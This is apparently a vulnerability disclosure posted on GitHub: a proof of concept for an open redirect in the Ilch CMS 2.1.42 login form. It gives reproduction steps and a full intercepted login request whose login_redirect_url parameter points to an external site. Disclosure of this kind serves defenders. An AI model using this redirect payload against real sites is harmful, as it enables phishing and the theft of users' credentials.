POC / Ilch 2.1.42 Open redirect

xoffense Create Ilch 2.1.42 Open redirect History

1 contributor

48 lines (34 sloc) | 1.72 KB

```
##Description:
An open redirect vulnerability in Ilch CMS version 2.1.42 allows attackers to redirect users to an attacker's site after a successful login.


## Vulnerable parameter: login_redirect_url

## Vulnerable component: Login form


## How to reproduce the issue?

Step 1- visit https://localhost/ilch/  where ilch 2.1.42 is deployed.

step 2- Enter username and password  and intercept the login request

Step 3= modify "login_redirect_url=https://google.com"


'''
POST /ilch/index.php/user/login/index HTTP/1.1
Host: localhost
Connection: close
Content-Length: 172
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: https://localhost
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: localhost
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Cookie: _ga=GA1.2.403309485.1613487308; _gid=GA1.2.979393034.1613487308; _gat=1; PHPSESSID=goomditd55ndagjjau2nbgo17f

login_redirect_url=https://google.com&ilch_token=c2c66bb3771fe4c6e9716604a11edb76830c86e32cd2396b3bab1e4b3954c754&login_emailname=admin&login_password=07MXq8xDtdG4leDSck74zROpDI3Hs

'''
You can see, user is redirect now to google.com. Attacker can redirect user wherever he want.

## Video POC: https://drive.google.com/file/d/1daNm7iPQc-9lXSqFWNjZXaIYnql3KEXu/view?usp=sharing

## Impact:
-Attacker can steal user credentials
-Attacker can redirect user to malicious website
```